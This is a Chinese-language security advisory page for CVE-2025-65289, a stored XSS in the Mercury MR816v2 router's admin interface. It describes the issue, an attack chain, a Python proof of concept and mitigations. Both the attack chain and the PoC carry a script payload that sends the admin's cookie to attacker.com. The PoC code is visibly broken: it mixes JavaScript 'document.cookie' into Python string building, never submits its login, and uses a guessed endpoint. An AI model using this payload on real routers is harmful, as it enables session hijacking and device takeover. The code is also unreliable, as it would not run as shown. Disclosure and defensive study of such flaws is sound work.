IPBUF安全漏洞报告
English
CVE-2025-65289 CVSS 6.1 中危

CVE-2025-65289: Mercury MR816v2路由器存储型XSS漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-65289
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mercury MR816v2 (081C3114 4.8.7 Build 110427 Rel 36550n) 路由器

相关标签

存储型XSSMercury MR816v2路由器漏洞会话劫持CVE-2025-65289LAN攻击Web安全物联网设备漏洞

漏洞概述

CVE-2025-65289是影响Mercury MR816v2路由器的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于路由器的管理Web界面中,攻击者可以通过在主机名字段中注入恶意JavaScript代码。攻击者位于本地网络(LAN)中,无需任何认证即可向路由器提交恶意主机名数据。注入的脚本会被永久存储在路由器系统中,并在管理员访问管理界面或触发特定功能(如DHCP release/renew)时执行。由于路由器的管理界面使用弱认证机制且未对会话材料进行有效保护,攻击者可以利用此XSS漏洞窃取管理员会话cookie或执行任意管理操作,从而完全控制路由器设备。此漏洞的CVSS评分为6.1,属于中等严重程度,主要影响路由器的机密性和完整性。

技术细节

该存储型XSS漏洞位于Mercury MR816v2路由器(固件版本4.8.7 Build 110427 Rel 36550n)的管理界面主机名输入字段中。攻击者通过向路由器的DHCP客户端设置或网络配置接口提交包含恶意JavaScript代码的主机名字符串,该数据会被存储在路由器的NVRAM或配置文件中。当管理员登录路由器管理界面并触发相关功能(如查看网络状态、DHCP客户端列表或执行lease renew操作)时,路由器会将存储的恶意主机名回显到Web页面中。由于管理界面未对用户输入进行充分的HTML转义或内容安全策略(CSP)保护,注入的脚本会在管理员浏览器中以路由器的域上下文执行。攻击者可利用此机会窃取管理员的会话cookie、CSRF token或执行管理员操作如修改DNS设置、端口转发规则或更新固件。攻击者需要处于同一局域网中,但无需事先认证即可发起攻击。

攻击链分析

STEP 1
步骤1
攻击者接入目标Mercury MR816v2路由器所在的局域网(LAN),可以是物理连接或WiFi接入
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的主机名payload,如<script>document.location='http://attacker.com/log?c='+document.cookie</script>
STEP 3
步骤3
攻击者通过路由器的Web管理界面或API接口(如/dhcp_client_set.cgi)提交恶意主机名,该数据被存储在路由器配置中
STEP 4
步骤4
管理员登录路由器管理界面查看网络状态或执行DHCP release/renew操作,触发路由器回显存储的主机名
STEP 5
步骤5
管理员浏览器执行注入的JavaScript代码,将管理员的会话cookie和敏感信息发送到攻击者控制的服务器
STEP 6
步骤6
攻击者利用窃取的会话cookie冒充管理员身份,执行任意管理操作如修改DNS、端口转发或更新固件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-65289 PoC - Mercury MR816v2 Stored XSS # Target: Mercury MR816v2 Router (Firmware 4.8.7 Build 110427 Rel 36550n) # Attack Vector: Inject XSS payload in hostname field via LAN access router_ip = "192.168.1.1" # Default Mercury router IP router_user = "admin" # Default admin username router_pass = "admin" # Default admin password # XSS payload to steal admin session xss_payload = '<script>document.location="http://attacker.com/log?c=' + 'cookie=' + document.cookie + '&url=' + document.URL + '</script>' def exploit_stored_xss(): """ Inject malicious hostname containing XSS payload The payload will be stored and executed when admin accesses the management interface """ # Login to router management interface session = requests.Session() login_url = f"http://{router_ip}/login.cgi" login_data = { "username": router_user, "password": router_pass } # Send XSS payload in hostname field # Typical endpoint for DHCP client configuration host_config_url = f"http://{router_ip}/dhcp_client_set.cgi" host_config_data = { "hostname": xss_payload, "action": "save" } response = session.post(host_config_url, data=host_config_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when admin views DHCP client list") print("[*] or triggers DHCP release/renew operation") else: print("[-] Failed to inject payload") if __name__ == "__main__": print("CVE-2025-65289 PoC - Mercury MR816v2 Stored XSS") print("Target: LAN-attached Mercury MR816v2 Router") exploit_stored_xss()

影响范围

Mercury MR816v2 081C3114 4.8.7 Build 110427 Rel 36550n

防御指南

临时缓解措施
在厂商发布修复补丁之前,可采取以下临时缓解措施:1) 限制对路由器管理界面的访问,仅允许受信任的IP地址访问;2) 禁用路由器的远程管理功能,仅使用本地LAN管理;3) 定期检查路由器配置,及时发现异常的主机名或配置变更;4) 使用强密码替代默认凭据;5) 监控网络流量,检测异常的DNS查询或可疑的外部连接;6) 考虑使用独立的管理VLAN隔离管理流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表